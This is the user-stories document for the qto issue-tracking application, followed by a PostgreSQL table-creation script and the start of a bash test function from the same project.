1.2. Audience This document is aimed for any potential and actual users of the qto application. Product Owners, Developers and Architects working on the application MUST read and understand this document at least to the extend of their own contribution for the application. ### 1.3. Related documentation This document is part of the QTO application documentation-set, which contains the following documents: - readme_doc-0 - the initial landing readme doc for the project - userstories_doc-0 - the collection of user-stories used to describe "what is desired" - requirements_doc-0 - the structured collection of the requirements - system_guide_doc-0 - architecture and System description - devops_guide_doc-0 - a guide for the developers and devops operators - installations_doc-0 - a guide for installation of the application - enduser_guide_doc-0 - the guide for the usage of the UI ( mainly ) for the end-users - concepts_doc-0 - the concepts doc You can access all the latest qto documentation from qto site: https://qto.fi in it's native format. All the documents are updated and redistributed in combination of the current version of the application in both md and pdf file format and can be found under the following directories: - doc/md - doc/pdf ## 2. COMMON UI PERSPECTIVE As an UI user of the qto application In order to manage my issues via the UI successfully I want to have a nice user experience while using the qto application. ### 2.1. UI Performance As an UI user of the qto application In order to enjoy the usage of the tool and interact efficiently I wan to to have responsive and quick UI. ### 2.2. Form factors As an UI user of the qto application In order to be able to be able to access from anywhere and anytime I want to be able to use it with different form factor devices #### 2.2.1. Desktop PC form factor UI As an UI user of the qto application In order to be able to use it fully on the work-place I want to it to work primarily on Desktop for every UI feature #### 2.2.2. Tablets form factor UI As an UI user of the qto application In order to be able to access it quickly on the go I want to be able to use the same UI on an advanced tablets #### 2.2.3. Advanced Mobile phones form factor UI As an UI user of the qto application In order to be able to access it quickly on the go I want to be able to use the same UI on an advanced mobile phones. ### 2.3. The Omni-search feature As an UI user of the qto application In order to have a consistent experience around all the user interfaces for search and get quickly to the information on EACH page and/or each table of the database I want to be able to perform quick filtering on ALL the UI elements from the page from a single omni search-box placed at the top bar of the screen. #### 2.3.1. List as grid page quick filtering As an UI user of the qto application In order to get quickly to the information on the listing as grid page I want to be able to perform quick filtering on both the grid and the left menu. #### 2.3.2. View page quick filtering As an UI user of the qto application In order to get quickly to the information on the view page I want to be able to perform quick filtering on both the information on the view page and the left menu. #### 2.3.3. Search results page quick filtering As an UI user of the qto application In order to get quickly to the information on the search as grid page I want to be able to perform quick filtering on both the grid and the left and right menu. ### 2.4. The left menu UI - organising the structure of the project As an UI user of the qto application in order to be able to manage the whole structure of my project I want to have access to a left menu from each page. #### 2.4.1. Opening and closing of the left menu As an UI user of the qto application in order to be able to quickly get to different pages of the project I want to be able to open the left menu by clicking on the top menu button and close it by clicking anywhere else in the document. #### 2.4.2. Managing listings from the left menu As an UI user of the qto application in order to be able to store and track data from different listings or in different documents I want to be able to create new listings by simple right-click on the left menu and selecting "add listing". #### 2.4.3. Managing documents from the left menu As an UI user of the qto application in order to be able to store and track data from different listings or in different documents I want to be able to create new documents by simple right-click on the right menu and selecting "add document". #### 2.4.4. Managing folders on the left menu As an UI user of the qto application in order to be able to be able to organise the structure of my project I want to be able to add, update and delete folders from the left menu #### 2.4.5. Fixing the left menu As an UI user of the qto application in order to be able to be able to better manipulate the items on the left menu I want to be able to fix it to not close when clicking somewhere else .... #### 2.4.6. Drag to widen or shrink the left menu As an UI user of the qto application in order to be able to be able to better manipulate the items on the left menu I want to be able to drag the border of the left menu to either widen it or to shrink it , so that a closing button would be visible on left menu hover. ### 2.5. The list page UI As an UI user of the qto application in order to be able to efficiently process relational data for any project I want to be able to list all or part of the project's database table via a single UI #### 2.5.1. Search in the list page As an UI user of the qto application In order to be able to quickly and effortlessly search the content of the loaded document in the list page I want to be able to focus the search-box with a single shortcut / click on the left menu, so that after typing 3 letters the left menu will get filtered by the search string and the table content will get filtered as well. #### 2.5.2. Items listing As an qto ui user In order to be able to quickly see as much items ( issues, problems, ideas etc. ) I want to list the items in a web page according to the filtering criteria I might have specified earlier on … #### 2.5.3. Items editing aAs an UI user of the qto application In order to update the application data via the UI I wan to to be able to edit the data for ANY of the items in the application I have access to. ##### 2.5.3.1. Items editing inline As an UI user of the qto application In order to be able to quickly update the items data in a listing UI I wan to to be able to edit it Excel table like by quickly navigating trough an grid and type the new values to update. ##### 2.5.3.2. Items editing via a modal dialog As an UI user of the qto application In order to be able update the application data via the UI by using a more familiar form-like interface I want to to be able to edit the data for any item by clicking on an edit button, and filling the fields of a form ##### 2.5.3.3. Items editing via dropbox As an UI user of the qto application In order to be able to update foreign key tables data via the UI I want to to be able to edit the data for any item by : - clicking on an a dropbox and either choosing or searching and choosing the human readable value ##### 2.5.3.4. Items editing via calendar control As an UI user of the qto application In order to be able to update date-time data in the listing page via the UI I want to to be able to edit the data for any item by : - clicking on an a calendar control and choosing the date and the time from it ##### 2.5.3.5. Commenting on items As an UI user of the qto application In order to be able to have item centric discussion I want to to be able to open a comments chat like section at the right of the list page screen, which will pre-pend comments in a chat like fassion #### 2.5.4. Items creation As an UI user of the application I order to create new items in the application I want to be able to create them via the UI by clicking "create new button" and filling as few as possible data entries and clicking a Save button for ANY of the items in the application. #### 2.5.5. Items deletion As an UI user of the application I order to delete existing items in the project I want to be able to delete them via the UI by clicking a "delete " button and confirming the deletion for the item #### 2.5.6. Items export As an UI user of the application I order to export the data of the items in the application I want to be able to perform the following data export from a single button click on the UI or a single url access: - export to md docs ( github , azure ) - export to pdf docs - export to xls files - export to msft docx docs - export to json dump files #### 2.5.7. Items import As an UI user of the application I order to import data of the items in the application I want to be able to perform the following data imports in the UI from a single button click and pointing to the file path of a file - import from md docs - import from pdf docs - import from xls files - import from msft docx docs - import from json dump files ### 2.6. The view doc page UI As an UI user of the qto application in order to be able to efficiently process hierarchical relational data for any project I want to be able to list all or part of the project's database table via a single UI #### 2.6.1. View page navigation As an UI user In order to quickly grasp the content of a view doc I want to be able to quickly and effortlessly navigate the view doc page. ##### 2.6.1.1. Title numbers link navigation and sharing As an UI user In order to read the the current item in the top of the screen and to be able to refer it exactly with a link I want to be able on click the system to move it on the top of the screen and to change the url pointing to the exactly chosen item. ##### 2.6.1.2. Title numbers link navigation and sharing As an UI user In order to read the the current item in the top of the screen and to be able to refer it exactly with a link I want to be able on click the system to move it on the top of the screen and to change the url so that when the link is copied one could refer to it by sending it. ##### 2.6.1.3. Access items by theirs ids As an UI user In order to be able to quickly access the content of a particular item I want the System to be capable to scroll to it on the top of the view port of the page after I have clicked a link to it. ##### 2.6.1.4. Keyboard navigation and editing As an UI user In order to be able to quickly navigate throughout the whole page once loaded I want to be able to cycle every manageable element of the page with the keyboard in a logical order from the top till the bottom ###### 2.6.1.4.1. Tabbing direction flow of tabbing As an UI user In order to be able to quickly navigate throughout the whole page once loaded I want the cycling order to go from the omni-search box to the right-toc menu than to the titles and paragraphs of the document ###### 2.6.1.4.2. TOC keyboard navigation As an UI user In order to be able to quickly navigate throughout the Table Of Contents section on the right page menu I want to be able to cycle every manageable element in the TOC menu with the keyboard in a logical order from the top till the bottom and get visual indication for the selected / active links from the UI. ###### 2.6.1.4.3. Faster text editing when tabbing As an UI user In order to be able to quickly delete text from the titles and/or the paragraphs I want the UI to select the whole text of the title and the paragraphs while active, so that I could quickly copy or remove the text from the keyboard. #### 2.6.2. View doc page print preview As an UI user In order to be able to share the documents of a qto application in pdf format or even physically print them I want to be able to see the whole document or just a branch of it in print-preview mode ##### 2.6.2.1. Disable editing in print preview mode but keep the links As an UI user In order to have as clean entity as possible to a pdf document I do not want to be able to add,edit or delete items from the print preview mode, however so that the clickable links should remain as part of the content ##### 2.6.2.2. Disable the right and left menus in print preview mode As an UI User In order to have as clean and easily printable document as possible in a pdf format I do not want to either see or access the right and left menu links. #### 2.6.3. Quick search in the view page As an UI user of the qto application In order to be able to quickly and effortlessly search the content of the loaded document in the view doc page I want to be able to focus the search-box with a single shortcut / click and the document to be filtered by the content of the input search box, by highlighting the search item. #### 2.6.4. Hierarchical items management As an the ui user In order to manage the hierarchical items in the application I want to be able to manage by actions (list, create, update, delete, search) ANY hierarchical items of the application in from a hierarchical doc format by simply right-clicking on their titles and choosing from the menut the action which must have both image and text to indicate more ##### 2.6.4.1. Add Item I want to be able to add items to the view page by simply right-clicking the upper title of the item and selecting add item ##### 2.6.4.2. Update item I want to be able to update items data to the view page ###### 2.6.4.2.1. Update item's title I want to be able to update item's title by simply clicking in it and starting to type the new contents ... ###### 2.6.4.2.2. Update item's description I want to be able to update item's descrption by simply clicking in it and starting to type the new contents ... ####### 2.6.4.2.2.1. Add interlinking in description ###### 2.6.4.2.3. Update item's src_code I want to be able to update item's src_code by simply clicking in it and starting to type the new contents ... ##### 2.6.4.3. Delete item As an UI user of the qto application In order to quickly edit the structure of a hierarchical doc I want to be able to move item by drag and drop from the left menu. #### 2.6.5. Move item in the hierarchy by drag and drop As an the ui user In order to navigate quickly in the document structure I want to be able to see the document structure by clicking a right menu containing the Table of Contents of this document with a clickable links. ##### 2.6.5.1. Move item in the hierarchy As an UI user of the qto application In order to quickly edit the structure of a hierarchical doc I want to be able to move item by drag and drop from the left menu. ##### 2.6.5.2. Search in the right menu As an the ui user In order to navigate quickly in the document structure I want to be able filter quickly the right menu items by the means of right menu quick srch/filtering box which will filter the items containing the string I am typing for dynamically ##### 2.6.5.3. Links in the right menu As an the ui user In order to navigate quickly in the document structure by levels I want to be able to simply click on the links ( level 1 , level-2 , level-3 etc. ) which will open the document #### 2.6.6. Left menu navigation As an UI user of the qto application In order to be able to quickly jump to a different document / listing I want to be able to click on the upper left corner of the view page and access the hierarchical project structure of the whole project from the left menu. #### 2.6.7. Hierarchy management As an UI user of the qto application In order to be able to quickly jump to a different document / listing I want to be able to click on the upper left corner of the view page and access the hierarchical project structure of the whole project from the left menu. ##### 2.6.7.1. Single item move in the hierarchy As a qto application UI user In order to be able to move a single item anywhere in the hierarchy I want to be able to move it by drag and drop on the left side of the document. ##### 2.6.7.2. Single item move in the hierarchy As a qto application UI user In order to be able to move a single item and all it's descendants anywhere in the hierarchy I want to be able to move it by drag and drop on the left side of the document. #### 2.6.8. Pictures management in the view doc page ##### 2.6.8.1. Add picture As a qto application UI user In order to have pictures in the documents I want to be able to add pictures by ... ##### 2.6.8.2. Edit picture As a qto application UI user In order to have pictures in the documents I want to be able to add pictures by ... ###### 2.6.8.2.1. Resize picture As a qto application UI user In order to have a better visualisation of the pictures in the document I want to be able to resize the pictures pictures by simply dragging their corners ###### 2.6.8.2.2. Move picture left and right in the item's paragraph As a qto application UI user In order to have a better visualisation of the pictures in the document I want to be able to move the pictures by simply dragging them left or right. ##### 2.6.8.3. Delete picture As a qto application UI user In order to have pictures in the documents I want to be able to delete pictures by ... #### 2.6.9. Multimedia links management ##### 2.6.9.1. Edit embedded multimedia link ##### 2.6.9.2. Edit embedded multimedia link ##### 2.6.9.3. Delete embedded multimedia link ### 2.7. The global search page / the search UI As an qto ui user In order to be able to search ANY items ( issues, problems, ideas etc. ) I want to have a pop-up search SearchBox with dimmed background providing with interactive autocomplete, which would assist me in specifying the search criteria for any item I want to list. #### 2.7.1. Global search from the list page As an qto ui user In order to be able to search ANY items ( issues, problems, ideas etc. ) from the list page I want to be able to search from the list page by simply clicking on a search textbox on the top left of the page, typing the search phrase I want to search for and getting the results by hitting enter or clicking the search icon on the right of the search box ... #### 2.7.2. Global search from the view page As an qto ui user In order to be able to search ANY items ( issues, problems, ideas etc. ) from the view page I want to be able to search from the view page by simply clicking on a search icon ( might be the / shortcut as well ) , the system should bring up a modal dialog with the global search ui, than I should be able to type the search phrase I want to search for and hit enter, when the System should present me the search results. #### 2.7.3. Global search modal dialog ui As an UI user In order to have the best possible search experience I want to be able to search from a modal dialog UI which will pop-up on a dimmed background after the search-box is focused .. ##### 2.7.3.1. Search-autocomplete on modal search dialog As an UI user In order to get quickly to exactly the searched item I am searching for I want the System to present me with autocomplete of the mostly occurring string I am searching for with the name of the item on the left and when clicking on it I want it to open the list as grid page with all the items having this item in the search ... ### 2.8. The press page #### 2.8.1. URL naming convention of the press page As the reader of any qto instance In order to be able to receive and send short URLs from the articles collection of this instance I want to have a short and time based url in order to be able to quickly access it from the history of my browser. #### 2.8.2. Articles listing from the press page DAILY As the reader of a qto instance In order to be able to quickly access all the articles per DAY I want to access all the articles per day by accessing the following url : &lt;&lt;proj&gt;&gt;/press/&lt;&lt;yyyy&gt;&gt;-&lt;&lt;mm&gt;&gt;-&lt;&lt;dd&gt;&gt; #### 2.8.3. Articles listing from the press page MONTHLY As the reader of a qto instance In order to be able to quickly access all the articles per MONTH I want to access all the articles per day by accessing the following url : &lt;&lt;proj&gt;&gt;/press/&lt;&lt;yyyy&gt;&gt;-&lt;&lt;mm&gt;&gt; #### 2.8.4. Articles listing from the press page MONTHLY As the reader of a qto instance In order to be able to quickly access all the articles per YEAR I want to access all the articles per day by accessing the following url : &lt;&lt;proj&gt;&gt;/press/&lt;&lt;yyyy&gt;&gt; #### 2.8.5. Accessing a single article / blog post by url As the reader of a qto instance In order to be able to quickly access a single article I want to access a single article by using the following naming convention &lt;&lt;proj&gt;&gt;/press/&lt;&lt;yyyy&gt;&gt;-&lt;&lt;mm&gt;&gt;-&lt;&lt;dd&gt;&gt;/&lt;&lt;article-short-title&gt;&gt; ### 2.9. The report page As the UI of the qto application In order to be able to quickly view the results of predefined reports ( which are actually stored_procedures in the product databases ) I want to be able to execute a report by providing the following syntax <<server>>:<<port>>/<<proj-db>>/report/<<stored-procedure-name>>?p_01=<<parameter-01-value>>&?p_02=<<parameter-02-value>> ... ### 2.10. The notes page / UI The 7 sticky notes would be used for practising : - the cruds with web sockets - the per user data management ### 2.11. The chat UI As UI user In order to be able to quickly communicate on anything with other qto users of the qto applications I want to be able to use a quick chat with other users within the application instance ### 2.12. Multi-project aware UI As the UI user of an qto instance In order to save be able to track my personal time usage between different projects and the different interdependencies I want to be able to move items data from one project to another via the UI. #### 2.12.1. Items data transfer between different projects As the UI user of an qto instance In order to manage multiple projects efficiently I want to be able to move items data from one project to another via the UI in a trusted manner. #### 2.12.2. Items move As an UI user of the application I order to move the items into different tables I want to be able to move them from a button in the listing page by specifying the target table ### 2.13. Issues import from Google calendar As the UI user of an qto instance In order to be able to visualise and manage my start- and stop_time having issues better I want to be able to import my Google calendar issues into my qto profile on an qto instance ## 3. TEAM LEADER PERSPECTIVE As a team leader In order to operate successfully one or many projects of my team(s) I want to have a nice user experience while using the qto tool. ### 3.1. Security #### 3.1.1. Data security As the biz team leader In order to protect the data of the project, which is vital for its existence \nI don't want any person but me to have full visibility and control of the data in a project. #### 3.1.2. Roles management As the Instance Owner or Product Owner in order to have a finer granularity on the different data stored in my instance I want to be able to define app_roles and per app_roles visibility on : - item page level - item row level - item tag level #### 3.1.3. Users management As a team leader In order provide the persons and programs access to my project I want to provide read, write access to the data and execute access ( run DDL's) per table ##### 3.1.3.1. Users management in a project As an team leader In order to be able to efficiently allocate human resources to a project I want to be able manage ( create , update , delete and search ) users for each project. ##### 3.1.3.2. Users management in a project As an team leader In order to be able to efficiently allocate human resources to a project I want to be able manage ( create , update , delete and search ) users for each project. ##### 3.1.3.3. Personal data handling minimisation As a team leader In order to avoid legal obligations and complex procedures, while handling personal data I want to be able to handle the interpersonal exchange of data by collecting ONLY the e-mail of the persons or programs participating in the project. ### 3.2. Projects management As an team leader In order to be able to manage multiple projects I want to be able to create , update and remove projects. #### 3.2.1. Grant access per project As a team leader In order to enrol authenticated users into the project I am responsible to I want to be able to grant them with access by only writing their e-mail into a text field and clicking invite button. ### 3.3. Secure access to data As the team leader of a qto project In order I want to be able to grant separate read, write and execute access per table and role #### 3.3.1. Role based secure access to data per table or report for role As the team leader of a qto project In order to restrict the certain operations to certain tables for the authenticated app_roles I want to be able to grant separate read, write and execute access per table and role. #### 3.3.2. Role based secure access to data per row As the team leader of a qto project In order I want to be able to grant separate read, write and execute access per table and role ### 3.4. Time management As an team leader In order to be able the maximise the performance of the team for qto used periods I want to to be able to manage time efficiently by accessing a simple page containing its value and the period it is related to. #### 3.4.1. Closing of a period As the team leader of a qto project In order to keep track the history of I want to to be able to manage time efficiently by accessing a simple page containing its value and the period it is related to. #### 3.4.2. Use monthly_issues status report As the team leader of a qto project In order to keep track on the statuses of the ongoing issues in my project I want to to be able to accesss and read a visual report containing pie chart with the amount of the issues at any moment and their distributions by status ## 4. TEAM MEMBER BIZ PERSPECTIVE As a team member In order to operate successfully in the project I want to have a nice user experience while using the qto application by being able to manage all the items in the application ( issues,questions,problems , etc. ) ### 4.1. Issues management As a team member of the qto In order to achieve the best possible efficiency during the work on one or many projects I want to be able to manage the issues in those projects. #### 4.1.1. Remove existing issues As an team member In order to be able to stop the work on existing issues I want to be able to remove issues via the qto #### 4.1.2. Search for existing issues As an team member In order to be able to change attributes of the issues I am responsible for I want to be able to update the issues' data. #### 4.1.3. Track issues progress As an team member In order to be able to quickly access existing issues I want to be able to search the issues. #### 4.1.4. Track issues history As a team member In order to keep track on the changes of the issues I want to be able to follow the history of the changes ### 4.2. Items management As a team member of the qto In order to achieve the best posible efficiency during the work on one or many projects I want to be able to manage the Items in those projects, where items could be ( problems , questions etc. ### 4.3. Issues management As a team member of the qto In order to achieve the best possible efficiency during the work on one or many projects I want to be able to manage the issues in those projects. #### 4.3.1. Update existing Items As an team member In order to be able to manage new Items I want to be able to create Items via the qto #### 4.3.2. Remove existing Items As an team member In order to be able to stop the work on existing Items I want to be able to remove Items via the qto #### 4.3.3. Search for existing Items As an team member In order to be able to change attributes of the Items I am responsible for I want to be able to update the Items' data. #### 4.3.4. Track Items progress As an team member In order to be able to quickly access existing Items I want to be able to search the Items. #### 4.3.5. Track Items history As a team member In order to keep track on what and when was planned on daily basis I want to be able to keep track what was planned on a project term - day,week,month,year,quinquennial or decade ### 4.4. Track issues relations As a team member of a project In order to trace the issues relations to userstories, features and tests or any other objects I want to be able to access the related objects to an issue by means of a link ### 4.5. Items management As a team member of the qto In order to achieve the best posible efficiency during the work on one or many projects I want to be able to manage the Items in those projects, where items could be ( problems , questions etc. ### 4.6. Measure success As a team member In order to measure the success of the planned issues I want to be able to measure the deliverables of each issue by comparable metrics. ### 4.7. Monitor success As a team member In order to monitor the success of the planned issues I want to be able to monitor the metrics of the issues. ### 4.8. Track issues relations As a team member of a project In order to trace the issues relations to userstories, features and tests or any other objects I want to be able to access the related objects to an issue by means of a link ### 4.9. Time management As an issues-manager In order to be prepared for issues such as ( events , tasks ) which have start and stop time I want to be able to save their start time and stop time per issue in every possible interface #### 4.9.1. time centric planning As an issues-manager In order to be able to plan the issues data for a certain term - day,week,month,year,quinquennial or decade I want to be able to perform all the features of the qto on that specific period regardless whether it is today , in the past or in the future #### 4.9.2. time centric reporting As an issues-manager In order to be able to report the issues data for a certain term - day,week,month,year,quinquennial or decade I want to be able to perform all the features of the qto on that specific day regardless whether it is today , in the past or in the future ### 4.10. Project's persons issue combinations As the project manager of an qto project In order to be able to quickly and reliably combine the reported hours by the project's people I want to be able to read their qto formatted google sheets and combine them into a single project's google qto sheet ## 5. PROJECT OBSERVER BIZ PERSPECTIVE As a project observer In order to observe the advancement of a project I want to have a nice user experience while using the qto application. ### 5.1. Projects observation As a project observer In order to observe the advancement of a project I want to be able to observe the project's data. ### 5.2. Measure success As a team member In order to measure the success of the planned issues I want to be able to measure the deliverables of each issue by comparable metrics. ### 5.3. Issues observation As a project observer In order to observe the advancement of the project's issues I want to be able to observe the project's issues. ### 5.4. Monitor success As a team member In order to monitor the success of the planned issues I want to be able to monitor the metrics of the issues. ## 6. PRODUCT INSTANCE OWNER PERSPECTIVE As a sysadmin of the qto application In order to complete the tasks and activities of my role I want to have a nice user experience while using the qto application. ### 6.1. System deployability As the SysAdmin In order to be able to provide access to a new database driven application to my organization I want to be able to deploy an instance of the qto application and spawn a new project out of it in less than a hour from a clean Linux host including AWS. ### 6.2. Time management As an issues-manager In order to be prepared for issues such as ( events , tasks ) which have start and stop time I want to be able to save their start time and stop time per issue in every possible interface ### 6.3. System stability As the SysAdmin In order to minimize downtimes and ensure continuous operations I want to the System containing the qto application to perform its defined functions on request without interruptions or unknown side effects ### 6.4. Generic CRUDS for items As a team member In order to be able to manage all the items in the application I have access to I want to be able to create,update,delete and search for those items from the UI of the application. ### 6.5. System reliability As the SysAdmin In order to be able to rely on the operations of the tool I want to the System containing the qto application to perform its functions as specified consistently ### 6.6. Project's persons issue combinations As the project manager of an qto project In order to be able to quickly and reliably combine the reported hours by the project's people I want to be able to read their qto formatted google sheets and combine them into a single project's google qto sheet ### 6.7. Ease of use As the SysAdmin In order to be efficient and decrease the amount of errors I want to generally perform any command the system within the sysadmin scope via clean and memorable oneliners ### 6.8. Security As the PIO In order to be able to provide the best possible security level of operation for the qto instance I am responsible for I want to have pre-defined and clear set of tasks and activities to perform related to the security. #### 6.8.1. Password strength security As the SysAdmin In order to be assured that the hacking of the system via brut force attack will not be easy I want the System to enforce password strength security by not allowing saving of weak passwords. #### 6.8.2. Password reset enforceability As the SysAdmin In order to be assured that the hacking of the system via brut force attack will not be easy I want the System to enforce password strength security by not allowing saving of weak passwords. #### 6.8.3. Login info As the PIO In order to provide the best possible security for the data of my organisation I want to be able to provide easily and quickly answer to the question : Who logged in and out when? ## 7. PROJECT OBSERVER BIZ PERSPECTIVE As a project observer In order to observe the advancement of a project I want to have a nice user experience while using the qto application. ### 7.1. Projects observation As a project observer In order to observe the advancement of a project I want to be able to observe the project's data. #### 7.1.1. Who logged in and out when As the SysAdmin In order to provide the best possible security for the data of my organisation I want to be able to provide easily and quickly answer to the question : Who logged in and out when? ### 7.2. Issues observation As a project observer In order to observe the advancement of the project's issues I want to be able to observe the project's issues. #### 7.2.1. Who changed what and why As the SysAdmin In order to provide the best possible security for the data of my organisation I want to be able to provide easily and quickly answer to the question : Who changed what and why? ## 8. ETL AND INTEGRATIONS PERSPECTIVE As an ETL and integrations specialist In order to complete the tasks and activities of my role I want to have a nice user experience while using the qto application. ### 8.1. Database to json files data load As the ETL and Integration Specialist In order to be able to quickly move all the project data into a different storage format I want to be able to export the project db data into json files - one per table via a single shell call. ### 8.2. Database metadata export As the ETL and Integration Specialists In order to be able to show, communicate and store the meta-data of my application I want to be able to export the project's database meta-data into an xls file. ### 8.3. System performance As the SysAdmin In order to ensure the performance of the qto application I want to the System containing the qto application to perform its functions within the defined performance criteria. ### 8.4. Json files to db data load As the ETL and Integration Specialist In order to be able to quickly move all the project data from json files into the db tables I want to be able to import the exported json files ( one per table ) into the database. ### 8.5. Xls-to-postgres-db hierarchical data load As the Data Integrator In order to be efficient while handling the System's hierarchical data I want to be able to use a single shell call to load all or chosen table(s) to the postgres db #### 8.5.1. error reporting in xls-to-postgres-db hierarchical data load As the Data Integrator In order to be efficient while troubleshooting data loading errors I want to be able to see : - which table's load failed - what was the error in failed to ### 8.6. Project deployment As a potential Developer of the qto or a qto application In order to have the easiest installation experience I want to be able to deploy fully functional development environment on a clean host in less than an hour with a single oneliner. ## 9. DEVOPS ENGINEER PERSPECTIVE As a qto devops engineer In order to be efficient and decrease the amount of errors I want to generally perform any command the system within the sysadmin scope via clean and memorable oneliners ### 9.1. Documentation ### 9.2. ETL #### 9.2.1. Quick start documentation As a Full-Stack Developer In order to be able to quickly start on my own hacking the project I want to have a quick start documentation, which will simply guide me to start on my own. #### 9.2.2. Application's source code and documentation integrity As a Full-Stack Developer In order to make easy the entry of other developers to the projects I want to be able to point to written documentation for user-stories, issues, features and functionalities, which will be linked to parts of the source code. ### 9.3. Installation #### 9.3.1. A single shell call installation As a potential Developer of the qto or a qto application In order to have the easiest installation experience I want to be able to deploy fully functional development environment on a clean host in less than an hour with a single oneliner. #### 9.3.2. A reliable installation documentation As a potential DevOps engineer of the qto or a qto application In order to have the easiest installation experience I want to have a reliable documentation, which will have short commands ### 9.4. Testing As a qto devops engineer In order to be able to rely on the operations of the tool and manage easily its features and functionalities I want to the easily verify and test parts or the whole System by issuing a single shell call. #### 9.4.1. Clarity and brevity of the end to end tests As an ITOPS In order to be able to verify all the features and functionalities of the tool within the System I want to see the results of each test in 1 flow in the following format:. #### 9.4.2. Databases - local to remote and remote to local sync As a DevOps Operator In order to : - keep the dog-fooded local and remote db instances in sync - and have full mobile access via the web I want to : - be able to apply a full db dump remotely via a single one-liner - both local to remote and remote to local #### 9.4.3. Abort end-to-end tests on single test fail As an ITOPS In order to be able to run continuously end-to-end tests and skip for several runs failing tests I want to be able to configure the single e2e entry point script to skip certain tests, but report me what was skipped. #### 9.4.4. Single shell call for e2e testing As an DevOps In order to be able to verify all the features and functionalities of the tool within the System I want to run a single shell call running all the end-to-end test of the application ensuring the specified features and functionalities. ### 9.5. ETL As an DevOps In order to be able to quickly manage the combination of binaries, configuration, own source code and data I want to be able to quickly and efficiently Extract, Transform and Load data from and into any qto based or related System. #### 9.5.1. Database to json files data load As the ETL and Integration Specialist In order to be able to quickly move all the project data into a different storage format I want to be able to export the project db data into json files - one per table via a single shell call. #### 9.5.2. Items data transformations As a cli user of the qto application In order to be able to sort the issues according to their attributes and edit them in both txt file and xls file I want to be able to perform the following loads: txt-to-db - to load a txt file with issues to an issues table in db db-to-xls - to load a xls file from db table to xls xls-to-db - to load a xls file with issues to an issues table in db #### 9.5.3. Json files to db data load As the ETL data engineer In order to be able to quickly move all the project data from json files into the db tables I want to be able to import the exported json files ( one per table ) into the database. #### 9.5.4. Xls-to-postgres-db hierarchical data load As the Data Integrator In order to be efficient while handling the System's hierarchical data I want to be able to use a single shell call to load all or chosen table(s) to the mysql db #### 9.5.5. Log entries format configuration As a Full-Stack Developer In order to be able to get the msg of any component of the application I want each log entry to content: - the type of the entry - log , error, warn , fatal - the timestamp of the log entry event - the name of the component issueing the msg and the line num of the src file - the msg as it was echoed by the application #### 9.5.6. Tool run log to human readable description As a CLI user In order to be able to get a human readable description of the log of the specific run of the tool I want to be able to translate the recorded uuid's in the execution run log to their respective records #### 9.5.7. Components start run message print As a CLI user In order to know when a component has been started I want to be able to see the "START &lt;&lt;COMPONENT NAME&gt;&gt; on either the STDOUT or the log file of the component #### 9.5.8. Tool exit with exit code and exit message As a CLI user or calling automated component In order to be able to understand whether or not the execution of the call to the tool was successful or not I want to get the exit code from the tool execution and see the exit message ### 9.6. Run-time management #### 9.6.1. Logging As a Full-Stack Developer In order to quickly understand what is happening in the application I want to have easy-to-use and highly customisable logging to both file and console. #### 9.6.2. Single shell call for projects switching As a qto DevOps engineer In order to be able to switch between different projects quickly in the shell I want to be able to issue a single shell call for loading a project's configuration and run the qto tool against the predefined configuration of an qto project's configuration. #### 9.6.3. Start and Stop of the Application As a qto DevOps engineer In order to be able to quickly start and stop the qto application I want to have a single shell call for those actions, with no other configuration, run-time or binary dependencies. ### 9.7. Security #### 9.7.1. Security modes As a qto DevOps engineer In order to be able to effortlessly develop the application I want to have 3 Security Modes, which could be changed during the restart of the application, by a simple ENV var: - No Auth - no auth whatsoever - so that I could be able to concentrate on non-security issues - Simple Native Auth mode - every team member can do anything on each item ( excepts the users) - RBAC Native Auth mode - configurability via db for which role, can perform what action on which item ## 10. UI DEVELOPER PERSPECTIVE As the UI Developer In order to be able to deliver working solutions for the UI I want to have user friendly development experience. ### 10.1. Foreign Keys (FK) configurability As the UI Developer In order to be able to be able to quickly display FK table values as drop boxes I want to be able to configure from the app_item_attributes table : - the table from which the drop box will fetch it's values ( if not defined use the &lt;&lt;table&gt;&gt;_guid - the attribute name from which the drop down list will be built ### 10.2. Code traceability by uuid As the UI Developer In order to be able to grasp the inner working of the application I want to be able to search by user-story uuid from the source code of the application ### 10.3. Single shell call for projects switching As an issues-manager In order to be able to switch between different projects quickly I want to be able to issue a single shell call for loading a project's configuration and run the issue-handler against this preloaded configuration ### 10.4. Issues publishing from shell calls As a DevOps In order to be able to quickly share the current issues data in tabular format I want to be able to issue a single shell call for copying the current items data to a medium by specifying the tables to be published ### 10.5. Metadata handling As a DevOps operator In order to be able to programatically manage all aspects of my data I wan to to have a single entry point to manage the meta data per tables , columns and UI elements so that even a table, column or whatever object is not populated in the meta still there will be default values for it usable by the application. ### 10.6. Easy setup for testability As the UI Developer In order to deliver working ui units I want to be able to quickly setup the existing project with minimalistic default set of data <file_sep>-- DROP TABLE IF EXISTS monthly_issues_202005 ; SELECT 'create the "monthly_issues_202005" table' ; CREATE TABLE public.monthly_issues_202005 ( guid uuid DEFAULT public.gen_random_uuid() NOT NULL, id bigint DEFAULT (to_char(CURRENT_TIMESTAMP, 'YYMMDDHH12MISS'::text))::bigint NOT NULL, category_guid uuid DEFAULT '70724562-d83c-446e-94cf-58ced84f3a0e'::uuid NOT NULL, issues_status_guid uuid DEFAULT 'cb989a14-d0b8-46e4-b2cc-5e2a974b5d29'::uuid NOT NULL, prio integer DEFAULT 0 NOT NULL, name character varying(100) DEFAULT 'name...'::character varying NOT NULL, description character varying(4000), app_users_guid uuid DEFAULT public.gen_random_uuid(), type character varying(30) DEFAULT 'task'::character varying NOT NULL, update_time timestamp without time zone DEFAULT date_trunc('second'::text, now()) ); create unique index idx_uniq_monthly_issues_202005_id on monthly_issues_202005 (id); -- the rank search index CREATE INDEX idx_rank_monthly_issues_202005 ON monthly_issues_202005 USING gin(to_tsvector('English', name || ' ' || description || 'owner')); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.monthly_issues_202005'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_monthly_issues_202005 BEFORE UPDATE ON monthly_issues_202005 FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'monthly_issues_202005'::regclass; <file_sep># src/bash/qto/funcs/clone-to-app.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestCloneToApp comments ... # --------------------------------------------------------- doTestCloneToApp(){ do_log "DEBUG START doTestCloneToApp" # add your action implementation code here ... bash src/bash/qto/qto.sh -a to-app=qto do_log "DEBUG STOP 